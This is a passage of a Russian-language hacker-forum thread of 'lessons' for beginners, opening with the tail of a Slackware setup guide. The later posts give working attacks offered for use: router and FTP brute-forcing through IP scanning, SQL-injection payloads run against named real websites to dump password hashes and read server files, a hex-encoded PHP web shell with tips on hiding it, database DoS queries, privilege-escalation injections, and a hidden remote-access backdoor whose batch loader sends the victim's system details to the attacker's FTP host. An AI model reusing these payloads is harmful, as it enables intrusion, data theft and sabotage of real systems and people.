Соглашайтесь.
Если все прошло успешно, то по окончанию установки вам предложать запустить утилиту nvidia-xonfig.
Соглашайтесь!
Далее выполняем startx в командном процессоре.
[ul]
root@darksrar:~#startx
[/ul]
И перед вами должен появится WM который вы выбрали при установке.
Как вы видете нужна локализация )
Это будет вам домашним заданием.
Домашние задания.
Локализовать систему.
Исчерпывающая информация по руссификации Slackware 12:
http://ru.wikibooks.org/wiki/Русификация_Slackware_12
Делаем все в точности с 1 по 6 пункт.

Настройка сети.
http://jack.kiev.ua/docs/slackbook/network-configuration.html



Следующий урок будет доступен до 30 августа 2009года, тоесть в течение следующей недели.
На следуещем уроке, мы рассмотрим установку Wine и Virtualbox для более плавного перехода в Linux

Если что то стало не понятно, или что либо не получается задайте вопрос:
&gt;&gt;Здесь&lt;&lt;
Post #: 11
RE: Уроки группы 9009 - 2009-08-28 11:21:27.570000   
daniel_1024

Сообщений: 294
Оценки: 0
Присоединился: 2009-07-14 14:37:28.690000
В этом мини-уроке я расскажу как разжится бесплатными ftp - аккаунтами. Нам понадобится программа Fast HTTP vulnebility Scanner. Скачать её можно  с официального сайта разработчика: http://www.cyberataque.us/search/label/D1v3r5o5 (кстати на сайте этой великолепной компании есть множество бесплатных крипторов, джойнеров, троянов, сканеров).
Это, как понятно из названия программа-сканер заданного пользователем диапазона ip - адресов на наличие различных уязвимостей, открытых портов и т.д. Программа также умеет подбирать пароли к модемам, админкам типа phpmyadmin, различным тестовым серверам (Apache к примеру).
Скачиваем программу с , распаковываем. В архиве нам надо будет запустить файл FHScan_gui.exe - это графическая оболочка программы. Вот что мы видим:

Рассмотрим поля:
IP Range - диапазон ip - адресов для сканирования
Proxy Host - ip прокси-сервера
Proxy Port - порт прокси-сервера
HTTP Port - HTTP порты для сканирования (к примеру, 80, 81, 82, 1080, 8080)
HTTPS Port - HTTPS порты для сканирования (к примеру, 433, 1433)
BruteForce - использовать ли брут при скане. Обязательно включите эту опцию.
Hosts File - можно загрузить диапазон ip адресов или сайтов для сканирования.
N. Thereads - в этом поле задается количество потоков. Ставьте на максимум (64).
Vulnerabilities scan - если галочка есть, то ip - адреса будут сканироваться на наличие различных уязвимостей. Обязательно включите эту опцию.

Здесь также множество вкладок, рассмотрим их:
Open ports - здесь все компьютеры с открытыми портами.
Webservers - список веб - серверов, установленных на сканируемых машинах.
Routers (pass found) - в этом списке все модемы с найденными паролями (перебираются самые простые логины и пароли - admin, support, user, 1234 и т.д.)
Routers (pass unknown) - здесь те модемы, которые взломать перебором не удалось.
Routers (without pass) - а в этой вкладке находится список модемов вообще без пароля :)
Web vulnerabilities - тут список уязвимых ip. Программа сканит ip на уязвимости типа: анонимный вход на ftp, возможность просмотреть директорию сайта, админки с простым паролем и другие.
debug - в этой вкладке находится собственный  веб-браузер программы. Это очень удобно, так как можно просматривать уязвимые сайты прямо в окне прграммы, не переключаясь в браузер.

Итак, вводим  нужный нам диапазон и жмем "Scan". Я советую выбирать диапазон для скана так: если ваш ip 92.100.ххх.ххх, то советую вбить стартовый ip - 192.100.1.1, конечный ip - 192.100.255.255. Ну вы поняли вообщем… :)
Ждем, ждем, ждем…
Итак, скан закончился. Перейдем на вкладку Web vulnerabilities. Там нас будут интересовать хосты с уязвимостью типа "Directory Listing". Выбираем какой-то хост, жмем правой кнопкой и нажимает "View in browser". Переключаемся на вкладку "debug", вуаля, нашему взору предстает директория какого-то сайта :) Очень часто там не встретить ничего интересного: попадаются ftp, просто забитые какими-то картинками, песенками. Но однажды я нашел какой-то сайт, в котором лежало три текстовика с паролями от нескольких десяков ftp - аккаунтов.

В заключение скажу,  что ваш провайдер очень чувствительно отнесется к тому, что вы сканируете другие компьютеры на предмет открытых портов. После 5-и часов сканирования компьютеров, мой провайдер (Авангард) вынес мне предупреждение:

Обязательно пользуйтесь прокси-серверами, они помогут вам сохранить анонимность в Сети. Вот сайты где их можно добыть:
http://www.freeproxy.ru/
http://www.my-proxy.com/
http://www.all-internet-security.com/
http://netspy.ukrpack.net/
http://www.atomintersoft.com/products/alive-proxy/proxy-list/
http://www.web-hack.ru/proxy/
http://www.0privacy.com/proxy.html
http://www.winfosec.com/proxies/
http://www.cybersyndrome.net/
http://www.ddday.com/

Хочу также  сказать, что с помощью этой великолепной софтины можно добыть себе халявный  интернет. Переходим на вкладку Routers (pass found), там список всех модемов, пароли от которых программа подобрала. Выбираем любой, нажимаем View in browser, вводим пароль и логин, и всё, вы получили доступ к настройкам чьего-то модема. Что делать дальше рассказывать не буду, вариантов у вас много. Посмотрите великолепную статью по взлому модемов -  http://forum.antichat.ru/threadnav29495-1-10.html
Надо сказать, что за кражу чужого интернета наказание от провайдера еще строже…не занимайтесь этим, я знаю у вас есть деньги на собственный интернет.
Вот собственно и всё, удачи.

Обсужение статей 9009 &gt;&gt;здесь&lt;&lt;
Post #: 12
RE: Уроки группы 9009 - 2010-02-25 15:07:34.520000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Урок №2. SQL-Injection. Часть 3.
DoS, Shell и прочие вкусности.

После продолжительного перерыва, я решил все-таки дописать третий урок по скулям.
Мы медленно подбираемся уже к серьезным вещам.

==========================================================================================
Проблемы с кодировками и вывод данных.

Иногда, получается удачно подобрать количество полей, но любая попытка вывести данные возвращают ошибку. Например:

http://www.trizland.ru/author.php?id=-140+UNION+SELECT+1,2,3,4,5--+ http://www.trizland.ru/author.php?id=-140+UNION+SELECT+1,2,version(),4,5--+
Если выводятся ошибки самого мускула, то отобразится текст вида - Illegal mix of collations…
Это означает, что исходные столбцы и присоединяемые юнионом имеют разную кодировку. Это можно легко исправить с помощью конструкции UNHEX(HEX()):
http://www.trizland.ru/author.php?id=-140+UNION+SELECT+1,2,UNHEX(HEX(version())),4,5--+
Дело в том, что функция UNHEX() вернет нам данные уже в требуемой кодировке и ошибки не будет.
В принципе, для этих целей так же можно воспользоваться конструкцией AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71).
http://www.trizland.ru/author.php?id=-140+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),4,5--+
===========================================================================================
Таблица mysql.user.

Мы уже знаем, что подключение к СУБД осуществляется по определенной учетной записи. От прав, установленных для учетной записи будут зависеть наши возможности в СУБД. Эти записи хранятся в таблице user базы mysql. Данная таблица содержит много полей (Большая часть которых отвечает за права учеток), но я рассмотрю только три: User, Password и Host.

User - имя пользователя.
Host - наименование хоста, с которого данному пользователю разрешено работать с СУБД. Может задаваться как доменом, так и IP-адресом. Для задания диапазона адресов могут использоваться маски. Если пользователю разрешено обращаться с любого адреса, то указывается '%'.
Password - хеш пароля пользователя. В версиях, младше 4.1 для шифрования применяется 64-битный алгоритм MySQL, брутить который одно удовольствие. Но в старших версиях стало применяться шифрование 160-битным алгоритмом MySQL5 (в базе хеши данного алгоритма хранятся, предваренные знаком *, который надо удалить при сбручивании). Данный алгоритм брутится значительно медленнее, и соответственно шансы на удачный взлом значительно меньше.

Для чего же нам нужна эта таблица? Дело в том, что наши возможности в базе через инъекцию ограничены не только правами учетной записи, но и тем, что наши команды будут только дополнением к каким-то исходным командам (выборки, добавления или обновления). В случае прямого подключения к базе эта проблема отсутствует. Поэтому, если для текущей учетки забыли запретить доступ к базе mysql, обязательно читаем таблицу user и брутим хеши всех записей. В сущности, нас пока будут интересовать только учетки со значением '%' поля Host, т.е. учетки, по которым разрешено подключаться с любого адреса.

А если для учетки, по которой скрипты работают с базой имеются права на работу с файлами, то ее пароль можно узнать без брута. Для этого достаточно прочитать его из скрипта (о чтении файлов мы поговорим чуть позже), который работает с базой, или из инклудещегося к нему конфиг-файла. Правда, эта учетка скорее всего локальная, но чем черт не шутит.

Правда, если нехороший администратор установил в настройках мускула запрет на сетевое подключение (директива skip-networking) то все старания будут бесполезны.

В качестве примера приведу сайт www.spitalzollikerberg.ch (за ссылку респект гражданину bug1z в разделе "Раздача слонов II"). Данный сайт работает с СУБД по учетке рута.

http://www.spitalzollikerberg.ch/download.php?id=-1+union+select+0,1,2,3,4,group_concat(concat(User,0x40,Host,0x3a,Password)+SEPARATOR+0x3c42523e)+from+mysql.user--+

В результате получаем следующее:
quote:

root@localhost:*3E3A58F0BC20E31BB9B219A7874A5BA0DC9104F9
root@wizard:
debian-sys-maint@localhost:*13E18225B061879FAB936886956CFAAD5CC56306


Но, к сожалению, нет ни одной полноценной сетевой учетки. Обидно.

===========================================================================================
Чтение файлов на сервере.

Возможность чтения файлов на сервере открывает для взломщика большие перспективы. Можно прочитать скрипты движка в поисках более серьезных уязвимостей, попутно доставая из них параметры подключения к СУБД и вшитые пароль (в случае существования таковых). Можно почитать системные файлы (например "/etc/passwd"). А в случае использования HTTP-авторизация интерес для нас будет представлять файл с хешами паролей.

Для чтения файлов мы воспользуемся функцией LOAD_FILE(addr), которая принимает в качестве аргумента полный путь к файлу на сервере и возвращает его содержимое. Для использования этой функции должны быть выполнены следующие условия:
- Учетная запись должна иметь права на работу с файлами (т.е. для учетной записи в таблице mysql.user поле File_priv должно быть Y).
- Надо знать полный путь к файлам сайта на сервере. Полный путь к файлам можно узнать, вызывая разного рода ошибки. Подробнее об этом можно прочитать здесь http://www.xakep.ru/post/36176/default.asp .
- Сам MySQL должен иметь права в системе для работы с нужными файлами.

Для примера возьмем все тот же сайт www.spitalzollikerberg.ch. Попробуем прочитать /etc/passwd. Поскольку кавычки экранируются, адрес надо перевести в 16-ричное представление.

http://www.spitalzollikerberg.ch/download.php?id=-1+union+select+0,1,2,3,4,LOAD_FILE(0x2f6574632f706173737764)--+ Но толку с него не много.
А теперь попробуем прочитать скрипты сайта. Для этого определим полный путь до них.
Вот здесь получается маленькая трудность. Дело в том, что данный сайт настрен на отображение сообщений мускула при ошибках в работе с базой. А нам нужны ошибки интерпретатора, потому, что в них указывается адрес к скрипту на сервере. Но это не проблема. Просканив сайт, обнаруживаем пару папок со свободным доступом. В папке custom лежат скрипты. Обратившись к одному из них
http://www.spitalzollikerberg.ch/custom/CUSTOM_TEAMGALLERY.PHP
с радостью наблюдаем вожделенный Fatal error.

quote:

Fatal error: Call to undefined function myquery() in /home/diakonie/public_html/zollikerberg/custom/CUSTOM_TEAMGALLERY.PHP on line 146


Значит адрес корня сайта: /home/diakonie/public_html/zollikerberg/
Ну что ж, прочитаем для проверки индекс /home/diakonie/public_html/zollikerberg/index.php

http://www.spitalzollikerberg.ch/download.php?id=-1+union+select+0,1,2,3,4,LOAD_FILE(0x2f686f6d652f6469616b6f6e69652f7075626c69635f68746d6c2f7a6f6c6c696b6572626572672f696e6465782e706870)--+ Ну а дальше все, что душе угодно.

===========================================================================================
Загрузка шеллов.

WEB-shell - это скрипт, который позволяет нам выполнять свои команды на сервере.
Пример простейших шеллов:
&lt;?PHP eval($_REQUEST('cmd')); ?&gt; или &lt;?PHP system($_REQUEST('cmd')); ?&gt; Т.е. это простой скрипт, который получает от пользователя строку и интерпретирует ее как PHP-код в первом случае, и как системную команду во втором.

Для создания WEB-шелла на сервере нам необходим способ, позволяющий писать свой текст в файл.
Для записи данных в файл через инъекцию мы будем использовать конструкцию INTO OUTFILE 'адрес' (так же можно использовать конструкцию INTO DUMPFILE 'адрес'). Эта конструкция добавляется в SELECT-запрос и сохраняет его результат в файл. Требования такие же, как и при чтении файлов (File_priv=Y, установочный путь и права мускула в системе), однако синтаксис этой команды добавляет еще одно требование - magic_quotes_gpc=off. Дело в том, что здесь не удастся передать адрес файла в закодированном виде. Он должен быть указан в нормальном виде и обрамлен кавычками.

Абстрактный пример:
Если инъекция имеет вид
http://www.site.ru/index.php?id=-1+UNION+SELECT+1,2--+ мы узнали, что корневым каталогом сайта является /home/web/site/ и для него есть права на запись, то для залива шелла нам надо сформировать запрос

http://www.site.ru/index.php?id=-1+UNION+SELECT+1,0x3c3f504850206576616c28245f524551554553542827636d642729293b203f3e+INTO+OUTFILE+'/home/web/site/shell.php'--+ где 0x3c3f504850206576616c28245f524551554553542827636d642729293b203f3e - это код нашего шелла &lt;?PHP eval($_REQUEST('cmd')); ?&gt; в 16-ричном представлении.
После чего по адресу http://www.site.ru/shell.php будет находиться наш шелл. Обратимся к нему:
http://www.site.ru/shell.php?cmd=phpinfo(); и узнаем много интересного.

Правда, имена шеллам лучше давать неприметные, вроде search.php, прятать их не в корне, а поглубже в богом забытых папках и обращаться к ним не через GET, а через POST, чтобы поменьше светиться в логах.

===========================================================================================
ДоС на скулях.

Допустим на исследуемом сайте мы нашли SQL-инекцию, а выжать из нее чего-либо толкового не получается. Но цель наша не порутать тачку, а просто навредить. В таком случае самое простое решение - это DoS-атака. Честно говоря, я не сторонник таких атак, потому, что это не спортивно и попахивает тупым дестроем, но все же рассмотрим их.

DoS (Denial of Service, отказ от обслуживания) - это вид атаки при котором в результате действий хакера честный юзер при попытке зайти на сайт получает отказ. Т.е. сервер оказывается вне доступа или не работоспособен. На первый взгляд мелочь, но давайте вспомним сколько крови попортили нам неизвестные досеры, ненавязчиво опускавшие ксакеп в даун на неопределенный срок. А что уж говорить об интернет-магазинах, казино и т.д. для которых даже сутки доса = огромные убытки.

Поскольку тема у нас про скули, то и рассматривать мы будем DoS-атаку на сервер базы данных.
Для доса базы данных мы будем использовать функцию benchmark().

benchmark(num,code) - функция измерения производительности. Эта функция выполнит указанное количество раз num, указанный код code. Заставим ее много раз выполнить что-либо ресурсоемкое. Распространенный вариант - MD5(now()) - получение MD5 хеша от текущего времени.

Составляем запрос:
?id=1+or+benchmark(1000000,md5(now()))–+

А можно даже вот так:
?id=1+or+benchmark(1000000,benchmark(1000000,md5(now())))–+

ну вот и все, дело сделано. СУБД оказывается загружена по самые уши и не будет отвечать на вызовы.

Также мы можем воспользоваться багами самой СУБД. Например, следующие запросы отправляют мускул в глубокую кому:
SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));

Данный баг работает в пятой ветке до версии 5.0.36.

От нас требуется только сформировать правельный запрос:
?id=1+or+ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1))–+

К слову сказать, иногда для доса базы данных даже не обязательно искать уязвимости на сайте. Достаточно найти скрипт, с очень "тяжелыми" запросами к базе (как правило, это скрипты поиска по сайту). А теперь пишем и запускаем свой скрипт, который постоянно обращается к "тяжелому" серверному скрипту. В некоторых случаях этого уже будет достаточно.

===========================================================================================
Инъекция в INSERT/UPDАТЕ запросах.

До сих пор мы рассматривали только инъекции в запросах выборки. А теперь рассмотрим случай, когда данные, полученные от пользователя, используются для записи в таблицу.

Упрощенно представим, что таблица зарегистрированных пользователей содержит 5 полей:
user_name
user_pass
priv_1
priv_2
priv_3


В первое поле сохраняется имя пользователя, во второе хеш пароля, а остальные три поля отвечают за какие-нибудь права в системе.
Cкрипт регистрации отсылает базе следующий запрос:
SQL&gt; INSERT INTO users VALUES ('[name]', MD5('[pass]'), 0, 0, 0);

Если передаваемые значения не фильтруются и magic_quotes_gpc=off, мы можем послать следующие данные:
Name: xakep
Password: qwerty'), 1, 1, 1)/*

Тогда сформированный запрос будет иметь вид:
SQL&gt; INSERT INTO users VALUES ('[xakep]', MD5('[qwerty'), 1, 1, 1)/*]'), 0, 0, 0);
В итоге будет создан юзер xakep с максимальными правами.

Правда, если бы скрипт отправлял запрос вида:
SQL&gt; INSERT INTO users (user_name, user_pass) VALUES ('[name]', MD5('[pass]'));
а нули в трех последних столбцах, отвечающих за права, выставлялись по дефолту, мы бы уже не смогли создать привилегированного пользователя.

С UPDАТЕ-запросами та же история, даже интересней.

Рассмотрим данные инъекции на примере скрипта смены пароля. Запрос к базе будет следующий:
SQL&gt; UPDАТЕ users SET user_pass=MD5('[pass]') WHERE user_name='name';
Здесь от авторизованного пользователя запрашивается только новый пароль, а имя скрипт вставляет сам.
Для удачного проведения инъекции требования такие же, как и в предыдущем случае - отсутствие фильтрации и magic_quotes_gpc=off.

Допустим, нам не удалось при регистрации поднять себе права (не позволил вид запроса). В таком случае попробуем поменять пароль:
New_password: qwerty'), priv_1=1, priv_2=1, priv_3=1 WHERE user_name='xakep'/*
Сформируется запрос:
SQL&gt; UPDАТЕ users SET user_pass=MD5('[qwerty'), priv_1=1, priv_2=1, priv_3=1 WHERE user_name='xakep'/*]') WHERE user_name='name';
Таким образом мы поднимаем себе все права.

А можно, вообще, провернуть конкретную наглость:
New_password: qwerty') WHERE user_name='admin'/*
Сформируется запрос:
SQL&gt; UPDАТЕ users SET user_pass=MD5('[qwerty') WHERE user_name='admin'/*]') WHERE user_name='name';
И мы благополучно сменим пароль админа.

Конечно же, в реальной жизни редко бывает все так просто. Для удачного проведения таких атак надо бы знать, как минимум, структуру таблицы users, а еще бы хорошо и вид запроса. Но здесь нас может выручить SELECT-инекция в каком-нибудь соседнем скрипте, так что ориентируйтесь по обстановке.

===========================================================================================
Псевдо Basic-авторизация.

Иногда приходится видеть на форуме посты, типа "Там в админке байсик-авторизация, забей на базу". Не соглашусь с такими утверждениями. Нет, конечно, если это на самом деле Basic-авторизация, то базу ковырять бессмысленно (ну, разве, только попробовать читать файлы или загрузить шелл). Но не всегда все так просто. Иногда механизм Basic-авторизации используется всего лишь как интерфейс для авторизации по базе. Для примера приведу небольшой кусок кода и все станет ясно:
&lt;?PHP ... if(!isset($_SERVER['PHP_AUTH_USER'])){ Header("WWW-Authenticate: Basic realm=\"Admin\""); Header("HTTP/1.1 401 Authorization Required"); exit(); } else{ $name=$_SERVER['PHP_AUTH_USER']; $pass=$_SERVER['PHP_AUTH_PW']; $res=mysql_query("SELECT * FROM users WHERE name='$name' AND pass=MD5('$pass')"); ... } ... ?&gt; При передаче имени и пароля через HTTP-авторизацию к ним можно обратиться из скрипта через переменные суперглобального массива $_SERVER['PHP_AUTH_USER'] и $_SERVER['PHP_AUTH_PW'] соответственно.
Если в заголовках пользователя не было передано имя, то скрипт через отправленные заголовки Basic-авторизации запрашивает у пользователя имя и пароль. В противном случае сформированные переменные просто проверяются по базе.

Так что ломать базу всегда имеет смысл. Не говоря уже о том, что при подобном раскладе сам скрипт авторизации может иметь дыры (например, приведенный мной код будет уязвимым в случае magic_quotes_gpc=off).

===========================================================================================

На этом я хочу закончить третий урок по инъекциям.

ВНИМАНИЕ!!! В данной теме обсуждение запрещено.
Вопросы, пожелания и плевки писать &gt;&gt;&gt;ЗДЕСЬ&lt;&lt;&lt;
Post #: 13
RE: Уроки группы 9009 - 2010-05-04 12:24:21.490000   
Barkass$

Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
Делаем троян\бекдур из готовых пряников ROMs.
Remote Office Manager - Server.

Грубо говоря, это тот же Radmin - TeamViewer, только со своими плюсами и минусами.
Rom - хорошо обходит NAT.

И так, начнем:

1. Скачиваем ROM с офф сайта http://aledensoft.com/ (Архив содержит в себе клиент и сервер)
2. Распаковываем - устанавливаем клиент-часть и на время забываем про неё.
3. Устанавливаем сервер-часть (лучше в другую папку для удобности общения с ней)
4. Во время установки, вылезет окно, с вопросом, "И что нам делать?" - Указываем пароль и его подтверждение (пароль ставим на свой выбор). Жмем далее …

5. Установили? Гуд …
6. В трее (В правом нижнем углу) появился значек вашего ROM-Server'a

7. Жмем на него правой кнопкой мыши - Настройки ROM Сервера.
8. Настраиваем по приоритету:
&nbsp;&nbsp; - Безопасность: Еще раз указываем наш пароль, который вы вводили при установки. Жмем "ОК"
&nbsp;&nbsp; - Режим запуска (по дефолу стоит Автоматически), так и оставим.
&nbsp;&nbsp; - Настройки указываем как на скрине:

&nbsp;&nbsp;&nbsp;&nbsp; В закладке "Сеть" указываем порт (по дефолу стоит 5650). Можно его так и оставить.
&nbsp;&nbsp; - Защита настроек: Указываем пароль на защиту от вмешательства в программу.
&nbsp;&nbsp;&nbsp;&nbsp; 1 Галка: - Защита настроек, вбиваем свой пароль.
&nbsp;&nbsp;&nbsp;&nbsp; 2 галка: - Просто жмякаем, но внутренности старого пароля на новый не меняем.
9. Жмем закрыть.

-Далее нам нужно ребутнуть сервер, что бы он принял ваши параметры адекватными.
-Жмем по значку в трее, останавливаем процесс.
-Запускаем еще раз наш ROM-Server из папки куда вы его установили.
-Настройки работают (при запуске нету иконки в трее)
-Залезаем в диспетчер, и убиваем 2 процесса: RomClient и RomServer (они будут запущенны от пользователя)
-Далее залезаем в реестр, а именно вот сюда -&gt; HKEY_LOCAL_MACHINE\SYSTEM\Remote Office Manager
-Выделаем каталог, жмем "Экспортировать". Указываем папку с нашим ROM Server, и называем Settings.reg
-Почти все готово, осталась самая малость, а именно, нужно сделать загрузчик этот триппера.
-Создаем батник, называем его Install.bat и заполняем содержимым:
copy /y "AledensoftIpcServer.dll" "%SYSTEMROOT%\System32\AledensoftIpcServer.dll" copy /y "HookDrv.dll" "%SYSTEMROOT%\System32\HookDrv.dll" copy /y "ROMFUSClient.exe" "%SYSTEMROOT%\System32\ROMFUSClient.exe" copy /y "ROMServer.exe" "%SYSTEMROOT%\System32\ROMServer.exe" copy /y "ROMwln.dll" "%SYSTEMROOT%\System32\ROMwln.dll" "%SYSTEMROOT%\System32\ROMServer.exe" /silentinstall "%SYSTEMROOT%\System32\ROMServer.exe" /firewall regedit /s "settings.reg" "%SYSTEMROOT%\System32\ROMServer.exe" /start

Затем скачиваем Bat_To_Exe_Converter, найти его можно тут -&gt; http://www.f2ko.de/
-Устанавливаем первое значение как на скрине:


-Во вторую вкладку вносим саму базу Сервера, скрин:

-Третья вкладка для иконки и на свойства конечного файла (Там сами разберетесь(оно не обязательно))

Жмем Compile.

Наши мучения кончились. Все готово.
Можно проверить на себе. Для этого удаляем полностью установленный сервер с папки, и каталог в реестре.
-Запускаем наш бекдурщик. Запускаем "Клиент ROMView". Создаем новое подключение, указываем IP\порт\пароль. Заходим …

-Есть один недостаток, он заключается в отлове IP жертвы. Но это уже другая проблема, которую можно решить очень быстро. Например вот так:
loader.bat:
@echo off chcp 1251 ipconfig&gt;&gt;ip1.txt systeminfo&gt;&gt;ip1.txt echo open ваш_хост&gt;log.txt echo логин_хоста&gt;&gt;log.txt echo пароль_хоста&gt;&gt;log.txt echo put ip1.txt&gt;&gt;log.txt echo bye&gt;&gt;log.txt ftp -s:log.txt del log.txt del /q ip1.txt
И тут возникает опять минус …. жертва увидит весь процесс который исполняет батник… Не сегодня, отбрасываем все минусы и пишим:
var WSHShell = WScript.CreateObject ("WScript.Shell"); WSHShell.Run ("loader.bat", 0); Сохраняем в формате js и радуемся жизнью.

В общем, вроде все. Будут вопросы, тема для флуда есть. Спрашивайте …
Post #: 14
RE: Уроки группы 9009 - 2010-05-07 17:08:38.510000   
wen94

Сообщений: 5
Оценки: 0
Присоединился: 2010-05-07 14:21:24.540000
ВНИМАНИЕ!!! ВНИМАНИЕ!!! ВНИМАНИЕ!!! ВНИМАНИЕ!!!
В ДАНОЕ ВРЕМЯ ВЕДЕТСЯ ПОИСК МОДЕРАТОРОВ на сайт http://xakeru.ipb.su
ПРАВА МОДЕРАТОРОВ
Основные установки
Может редактировать чужие сообщения/опросы
Может редактировать заголовки чужих тем
Может удалять чужие сообщения
Может удалять чужие темы/опросы
Может видеть IP адреса пользователей
Может открывать закрытые темы
Может закрывать открытые темы
Может перемещать темы
Может фиксировать темы
Может опускать фиксированные темы
Может разделять / соединять темы
Может фиксировать / опускать первое сообщение


Настройки панели управления модератора
Может производить массовое перемещение тем
Может производить массовое сокращение тем
Может управлять ожидающими темами
Может управлять ожидающими сообщениями

Дополнительные настройки
Может изменять рейтинг пользователей
Может редактировать аватары и подписи пользователей
и многое многое
Post #: 15
RE: Уроки группы 9009 - 2010-06-26 15:30:52.510000   
Konkret

Сообщений: 50
Оценки: 0
Присоединился: 2010-01-05 15:07:19.663333
Barkass$,ROMs требует ли для работы NET.FRAMEWORK а то у моей жертвы он не установлен?
Post #: 16
RE: Уроки группы 9009 - 2010-07-24 03:12:20.093333   
hany0071

Сообщений: 11
Оценки: 0
Присоединился: 2010-04-07 16:02:27.480000
можно ли сделать так что бы когда залезаешь к жертве в компьютер у него в процессах ничего не было видно??
Post #: 17
RE: Уроки группы 9009 - 2010-09-28 20:01:17.583333   
vanoshef2010

Сообщений: 53
Оценки: 0
Присоединился: 2010-07-03 13:53:42.540000
как написать свою программу на делфи сдесь была гдето тема там было про написание программы на делфи типо вымогальщика
Post #: 18
Страниц:  [1]
Все форумы >> [Для начинающих] >> Уроки группы 9009







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.